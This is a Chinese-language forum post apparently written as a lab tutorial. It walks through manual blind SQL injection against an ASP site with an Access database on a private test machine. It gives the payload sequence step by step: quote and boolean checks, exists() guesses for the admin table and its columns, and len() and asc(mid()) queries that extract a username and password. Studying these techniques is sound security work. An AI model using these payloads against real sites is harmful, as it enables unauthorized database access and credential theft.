51Testing软件测试论坛

 找回密码
 (注-册)加入51Testing

QQ登录

只需一步,快速开始

微信登录,快人一步

查看: 1805|回复: 0

SQL注入原理-手工注入access数据库

[复制链接]

该用户从未签到

发表于 2018-3-20 13:12:33 | 显示全部楼层 |阅读模式
一、Target:
SQL注入原理、学习手工注入过程
二、实验原理:通过把SQL命令插入到web表单提交或输入域名或页面请求的的查询字符串,最终达到

欺骗服务器执行恶意的SQL命令

1、在结尾的链接中依次添加【’】和【and 1=1】和【and 1=2】判断网站是否存在注入点
2、添加语句【and exists(select*from admin)】根据页面返回结果来猜解表名
3、添加【and exists(select admin from admin)】猜解admin表中的列名admin
4、添加语句【and (select top 1 len (admin)from admin)>1】猜解字段长度
5、添加【and (select top 1 asc(mid(admin,1,1))from admin)>97】猜解字段中字符的ASCII码
通过上述的步骤,反复猜解,即可得到数据库存储的用户名和密码
三、实验环境:
本机:192.168.1.2
目标机:192.168.1.3
四、实验步骤:
找到有注入漏洞目标网站:
**1、目标站点:http://192.168.1.3:8008
随便选择一个链接:http://192.168.1.3:8008/onews.asp?id=45**

2、测试链接,在末尾添加【’】

3、在末尾添加【and 1 =1】

4、在末尾添加【and 1 =2】,返回页面发现该网站存在注入漏洞

猜解表名
在链接末尾添加语句【and exists(select*from admin)】,页面正常显示,说明存在表名【admin】

猜解列名
1、在链接末尾添加语句【and exists(select admin from admin)】,页面显示正常,说明表中存在admin列

2、在链接末尾添加语句【and exists(select password from admin)】,页面显示正常,说明表中存在
列password

猜解字段内容
1、在链接末尾,输入【and (select top 1 len (admin)from admin>1】页面显示正常,数字依次加1,进
行测试,例如:【and (select top 1 len (admin)from admin>5】说明字段长度为5

2、在链接末尾,输入【and (select top 1 asc(mid(admin,1,1))from admin)>97】,可猜解第一条记录
的第一个字符的ASCILL码为97,对应为a.

3、同样的方法得到admin的字段内容【admin】,password的字段内容【bfpms】

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?(注-册)加入51Testing

x
回复

使用道具 举报

本版积分规则

关闭

站长推荐上一条 /1 下一条

小黑屋|手机版|Archiver|51Testing软件测试网 ( 沪ICP备05003035号 关于我们

GMT+8, 2024-4-19 09:08 , Processed in 0.067507 second(s), 25 queries .

Powered by Discuz! X3.2

© 2001-2024 Comsenz Inc.

快速回复 返回顶部 返回列表